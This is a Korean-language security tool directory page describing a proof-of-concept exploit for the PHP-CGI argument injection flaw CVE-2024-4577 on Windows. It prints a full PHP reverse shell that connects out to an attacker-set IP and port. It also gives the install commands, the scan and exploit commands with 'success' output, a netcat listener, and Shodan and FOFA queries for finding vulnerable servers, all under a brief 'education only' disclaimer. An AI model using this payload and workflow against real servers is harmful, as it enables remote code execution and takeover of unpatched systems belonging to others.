Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2024-4577-RCE-ATTACK — ATTACK PoC - PHP CVE-2024-4577 | Kitploit
도구/GitHubGitHub/bibo318/cve-2024-4577-rce-attack
Vulnerability ScannersExploitationWeb Application ExploitationPenetration TestingRed TeamingPayload Development
GitHubbibo318/cve-2024-4577-rce-attack

CVE-2024-4577-RCE-ATTACK

ATTACK PoC - PHP CVE-2024-4577

저장소 보기
532년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

PHP CVE-2024-4577-RCE-ATTACK-ATTACK

Medium Python Kali

📜 설명

PHP 8.1.(8.1.29 미만), 8.2.(8.2.20 미만), 8.3.*(8.3.8 미만) 버전에서 Windows의 Apache 및 PHP-CGI를 사용할 때 시스템이 특정 코드 페이지를 사용하도록 설정된 경우, Windows는 Win32 API 함수에 제공된 명령줄에서 문자를 대체하기 위해 "Best Fit" 동작을 사용할 수 있습니다. PHP CGI 모듈은 해당 문자를 PHP 옵션으로 잘못 해석할 수 있으며, 이로 인해 악의적인 사용자가 실행 중인 PHP 바이너리에 옵션을 전달하여 스크립트 소스 코드를 노출하거나 서버에서 임의의 PHP 코드를 실행하는 등의 작업을 수행할 수 있습니다.

"XAMPP는 기본 구성에서 취약하며, /php-cgi/php-cgi.exe 엔드포인트를 대상으로 삼을 수 있습니다. 명시적인 .php 엔드포인트(예: /index.php)를 대상으로 하려면 서버가 CGI 모드에서 PHP 스크립트를 실행하도록 구성되어야 합니다."

📚 목차

  • 📜 설명
  • 🛠️ 설치
  • ⚙️ 사용법
  • 💁 참고 자료

🛠️ 설치

root@kitploit:~
$ git clone https://github.com/bibo318/CVE-2024-4577-RCE-ATTACK.git
$ cd CVE-2024-4577-RCE-ATTACK && pip install -r requirements.txt 
도구 다운로드

⚙️ 사용법

php-cge

🤖 리버스 셸 설정

PHP Payload

[!NOTE] 이 도구는 실제 전술, 기술 및 절차(TTP)를 보여줍니다. 그러나 이 특정 페이로드 예제는 이 경우 작동하지 않습니다. 완전한 기능의 페이로드를 얻으려면 shell.php를 수정하세요.

root@kitploit:~
# rev_shell.php
<?php
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.

set_time_limit (0);
$VERSION = "1.0";
$ip = 'xxxxxxxxxxx';  // CHANGE THIS
$port = 9999;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
	// Fork and have the parent process exit
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}

	// Make the current process a session leader
	// Will only succeed if we forked
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	// Wait until a command is end down $sock, or some
	// command output is available on STDOUT or STDERR
	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?> 

🖥️ 서버 스캔

root@kitploit:~
$ python3 CVE-2024-4577.py -s -t https://target.com/  
                                                   
,------. ,--.  ,--.,------.   ,-----.,--.   ,--.,------.        ,---.   ,--.  ,---.   ,---.         ,---.,-----.,-----.,-----. ,------.  ,-----.,------. 
|  .--. '|  '--'  ||  .--. ' '  .--./ \  `.'  / |  .---',-----.'.-.  \ /    '.-.  \ /    |,-----. /    ||  .--''--,  /'--,  / |  .--. ''  .--./|  .---' 
|  '--' ||  .--.  ||  '--' | |  |      \     /  |  `--, '-----' .-' .'|  ()  |.-' .'/  '  |'-----'/  '  |'--. `\ .'  /  .'  /  |  '--'.'|  |    |  `--,  
|  | --' |  |  |  ||  | --'  '  '--'\   \   /   |  `---.       /   '-. \    //   '-.'--|  |       '--|  |.--'  //   /  /   /   |  |\  \ '  '--'\|  `---. 
`--'     `--'  `--'`--'       `-----'    `-'    `------'       '-----'  `--' '-----'   `--'          `--'`----' `--'   `--'    `--' '--' `-----'`------'             
         Author: Demongod | CVE-2024-4577 | PoC and Scanner |                     
    
[+] 대상 https://xxxx.com 이(가) CVE-2024-4577에 취약합니다.

🎯 취약한 서버 익스플로잇

root@kitploit:~
$ python3 CVE-2024-4577.py -t http://example.com -e -p rev_shell.php
                                                   
,------. ,--.  ,--.,------.   ,-----.,--.   ,--.,------.        ,---.   ,--.  ,---.   ,---.         ,---.,-----.,-----.,-----. ,------.  ,-----.,------. 
|  .--. '|  '--'  ||  .--. ' '  .--./ \  `.'  / |  .---',-----.'.-.  \ /    '.-.  \ /    |,-----. /    ||  .--''--,  /'--,  / |  .--. ''  .--./|  .---' 
|  '--' ||  .--.  ||  '--' | |  |      \     /  |  `--, '-----' .-' .'|  ()  |.-' .'/  '  |'-----'/  '  |'--. `\ .'  /  .'  /  |  '--'.'|  |    |  `--,  
|  | --' |  |  |  ||  | --'  '  '--'\   \   /   |  `---.       /   '-. \    //   '-.'--|  |       '--|  |.--'  //   /  /   /   |  |\  \ '  '--'\|  `---. 
`--'     `--'  `--'`--'       `-----'    `-'    `------'       '-----'  `--' '-----'   `--'          `--'`----' `--'   `--'    `--' '--' `-----'`------'  
        Author: Demongod | CVE-2024-4577 | PoC and Scanner |

[+] 익스플로잇 성공!

👨🏻‍💻 Netcat Listener

root@kitploit:~
$ nc -lvnp 9999

🔍 취약한 서버 탐지

  • Shodan: server: PHP 8.1, server: PHP 8.2, server: PHP 8.3
  • FOFA: protocol="http" && header="X-Powered-By: PHP/8.1" || header="X-Powered-By: PHP/8.2" || header="X-Powered-By: PHP/8.3"

💁 참고 자료

  • https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577
  • https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/http/cves/2024/CVE-2024-4577.yaml
  • http://www.openwall.com/lists/oss-security/2024/06/07/1
  • https://raw.githubusercontent.com/rapid7/metasploit-framework/master/modules/exploits/windows/http/php_cgi_arg_injection_rce_cve_2024_4577.rb
  • https://www.php.net/ChangeLog-8.php#8.1.29
  • https://www.php.net/ChangeLog-8.php#8.2.20
  • https://www.php.net/ChangeLog-8.php#8.3.8

⚠️ 면책 조항

이 도구는 교육 및 연구 목적으로만 제공됩니다. 제작자는 이 도구로 인한 오용이나 손해에 대해 책임을 지지 않습니다. 이슈 생성